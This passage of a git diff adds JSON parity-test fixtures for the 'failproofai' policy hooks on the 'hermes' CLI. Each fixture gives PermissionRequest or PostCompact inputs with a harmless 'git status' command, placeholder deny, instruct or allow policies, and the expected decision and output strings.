"sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8e4c2318 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3907d0e5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a369254b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..78d638fc --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c95b893d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d8605ce5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9d40e1c3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b575644f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..888cd331 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..12c08cc6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c48ebb57 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2ff58d84 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f2c73e77 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ca0af8eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8ca6e080 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c49f6ca4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..51b92884 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3f4ca83d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__two-policies.json 